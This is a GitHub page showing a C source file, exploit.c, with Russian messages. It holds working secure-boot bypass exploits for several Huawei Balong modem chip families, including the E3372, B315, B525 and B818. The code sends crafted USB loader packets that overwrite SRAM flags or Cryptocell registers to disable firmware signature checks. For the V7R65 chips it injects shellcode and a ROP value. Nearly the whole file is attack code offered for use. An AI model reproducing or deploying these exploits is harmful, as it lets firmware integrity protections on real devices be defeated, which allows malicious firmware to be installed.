-
Notifications
You must be signed in to change notification settings - Fork 97
/
exploit.c
132 lines (123 loc) · 3.98 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "exploit.h"
struct exploit_cmd {
unsigned char *cmd;
unsigned int size;
};
static void secuboot_exploit(struct exploit_cmd *exploitcmd, unsigned int size)
{
unsigned int res;
unsigned char secuboot_buf[32];
for (int cnt = 0; cnt < size; cnt++) {
if (exploitcmd[cnt].size > 32) {
printf("\n[Secuboot] Слишком большой размер команды!\n");
return;
}
memcpy(secuboot_buf, exploitcmd[cnt].cmd, exploitcmd[cnt].size);
res=sendcmd(secuboot_buf, exploitcmd[cnt].size);
if (!res) {
printf("\n[Secuboot] Модем отверг пакет [%d]\n", cnt);
return;
}
}
}
/*
* Balong V7R1 (Hi6920)
* Huawei E3272, E3276, E5372
*/
void secuboot_exploit_v7r1()
{
struct exploit_cmd exploitcmd[] = {
/* 0x2FFFFFEC, address of structure in SRAM with secuboot and root ca flag */
{"\xFE\x00\xFF\x01\x00\x00\x00\x08\x2F\xFF\xFF\xEC\x00\x00", 14},
/* 8 byte of zeros */
{"\xDA\x01\xFE\x00\x00\x00\x00\x00\x00\x00\x00\x92\x24", 13}
};
secuboot_exploit(exploitcmd, 2);
}
/*
* Balong V7R2 (Hi6930)
* Huawei E3372s, E5373, E5377, E5786
*
* Balong V7R11 (V711, Hi6921)
* Huawei E3372h, E8372h, E5573, E5576, B310, B315s
*/
void secuboot_exploit_v7r11()
{
struct exploit_cmd exploitcmd[] = {
/* 0x4FE1FFEC, address of structure in SRAM with secuboot and root ca flag */
{"\xFE\x00\xFF\x01\x00\x00\x00\x08\x4F\xE1\xFF\xEC\xA8\xA3", 14},
/* 8 byte of zeros */
{"\xDA\x01\xFE\x00\x00\x00\x00\x00\x00\x00\x00\x92\x24", 13}
};
secuboot_exploit(exploitcmd, 2);
}
/*
* Balong V7R5 (Hi6950)
* Huawei B612s, B618s, B715s
*/
void secuboot_exploit_v7r5()
{
struct exploit_cmd exploitcmd[] = {
/* 0x1001FFEC, address of structure in SRAM with secuboot and root ca flag */
{"\xFE\x00\xFF\x01\x00\x00\x00\x08\x10\x01\xFF\xEC\x00\x00", 14},
/* 8 byte of zeros */
{"\xDA\x01\xFE\x00\x00\x00\x00\x00\x00\x00\x00\x92\x24", 13}
};
secuboot_exploit(exploitcmd, 2);
}
/*
* Balong V7R22 (V722, Hi6932)
* Huawei E5785, E5885, B316, B525, B528, B535
*/
void secuboot_exploit_v7r22()
{
struct exploit_cmd exploitcmd[] = {
/* Cryptocell HOST_CPC_SECURITY_DISABLE: 0x90004000 + 0xAD8 */
{"\xFE\x00\xFF\x01\x00\x00\x00\x04\x90\x00\x4A\xD8\x00\x00", 14},
/* 1 to disable validation */
{"\xDA\x01\xFE\x01\x00\x00\x00\x00\x00", 9}
};
secuboot_exploit(exploitcmd, 2);
}
/*
* Balong V7R65 (V7650, Hi6965)
* Huawei B625, B818
*
* This SoC does not have HOST_CPC_SECURITY_DISABLE in Cryptocell.
* The shellcode jumps to A core code load function, bypassing validation.
*/
void secuboot_exploit_v7r65(unsigned int jumpaddr)
{
unsigned char shellcode[] = "\xDA\x01\xFE\x01\x48\x02\x4b\x18\x47\x00\xbf\x00\x00\x10\x1c\x85\x04\x08\x00\x00\x00";
struct exploit_cmd exploitcmd[] = {
/* First "address" command (to 0x00, for shellcode load) */
{"\xFE\x00\xFF\x01\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00", 14},
/* Shellcode to jump to usbloader */
{shellcode, 21},
/* Second "address" command (for ROP in 0x5cb14 on stack) */
{"\xFE\x00\xFF\x01\x00\x00\x00\x04\x00\x05\xCB\x14\x00\x00", 14},
/* ROP data (0x00 address in thumb mode = 0x01) */
{"\xDA\x01\xFE\x01\x00\x00\x00\x00\x00", 9}
};
/* Rewrite jump address in shellcode */
*(uint32_t*)(shellcode + 11) = jumpaddr;
secuboot_exploit(exploitcmd, 4);
}
/*
* Balong 5000 (Hi9500)
* Huawei H112, H122, E6878
*/
void secuboot_exploit_5000()
{
struct exploit_cmd exploitcmd[] = {
/* Cryptocell HOST_CPC_SECURITY_DISABLE: 0xC4006000 + 0xFD8 */
{"\xFE\x00\xFF\x01\x00\x00\x00\x04\xC4\x00\x6F\xD8\x00\x00", 14},
/* 1 to disable validation */
{"\xDA\x01\xFE\x01\x00\x00\x00\x00\x00", 9}
};
secuboot_exploit(exploitcmd, 2);
}